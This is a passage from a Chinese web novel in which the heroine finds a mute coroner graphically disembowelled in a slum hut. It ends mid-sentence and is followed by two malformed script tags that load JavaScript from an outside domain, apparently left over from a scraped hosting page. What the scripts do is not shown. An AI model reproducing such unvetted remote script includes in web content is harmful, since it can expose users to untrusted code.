黑暗不再安全。国师府地宫那架狰狞巨琴的轮廓、死囚自挖心脏时粘腻的声响、还有师兄那道斩向国师后背的冰冷剑光,如同烧红的烙铁,一遍遍灼刻在明霜新生的神经上。她蜷缩在城南一座早已荒废、椽梁朽烂的土地庙残骸里,后背紧贴着冰冷潮湿、布满滑腻苔藓的断墙。空气里弥漫着浓重的尘土、霉烂的木头和鸟兽粪便混合的腐败气息。每一次呼吸,都牵扯着肋下深处那枚铜铃的冰冷悸动。它不再仅仅是嵌入骨骼的异物,更像一枚深埋体内的、被国师琴音遥控的炸弹引信。掌心,“钟内有双魂”的血痂隐隐作痛,如同一个尚未拆解的诅咒。
她必须找到哑巴验尸官。那个用断指刻下血字、浑身浸透死亡气息的佝偻身影,是解开这血腥谜团的唯一线头。他一定知道更多!关于钟,关于双魂,关于国师府地宫里那些浸泡在粘稠液体中的失败品……
凭借器物通灵者对“同类”气息的敏锐,明霜在迷宫般破败的贫民窟深处,捕捉到了一缕极其微弱、却异常熟悉的“器物”气息——浓烈的陈腐药水味、陈旧血腥气、还有一丝……金属长期接触尸体后特有的、冰冷滑腻的死亡包浆感。它来自一间半埋在地下的土坯房,门板歪斜,缝隙里透出一点昏黄如豆、摇曳不定的油灯光晕,像墓穴里的磷火。
她悄无声息地靠近,如同夜行的猫。指尖尚未触碰到那朽烂的门板,一股浓烈到令人窒息的血腥味,混合着内脏破裂后特有的甜腥恶臭,如同粘稠的毒雾,猛地从门缝里汹涌而出!比在水牢里闻到的任何气味都要新鲜、浓烈!
明霜的心骤然沉到谷底!不祥的预感如同冰冷的毒蛇缠绕上来。她猛地推开那扇虚掩的破门!
景象如同地狱的切片,瞬间撞入她的感知。
狭小的土屋,四壁被烟熏得漆黑,挂满了各种奇形怪状、沾着黑褐色污渍的剔骨刀、锯子、钩子,在昏暗的油灯下反射着冰冷的光。屋中央,一张污秽不堪、散发着浓烈腥臭的木案上,哑巴验尸官那佝偻的身体正以一个极其怪异的姿势扭曲着。
他仰面躺在血泊里——那血几乎浸透了整张木案,黏稠、暗红,还在缓缓地顺着案角滴落,在地上积成一小洼。他的灰色短褂和皮围裙被撕扯得破烂,露出下面同样布满污垢和伤痕的枯瘦胸膛。一道巨大的、深可见骨的撕裂伤,从他的左肩一直斜划到右腹!皮肉狰狞地外翻着,白森森的肋骨碴子刺破血肉,暴露在昏黄的光线下,断裂的肠子如同肮脏的绳索,从破口处拖拽出来,混合着
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">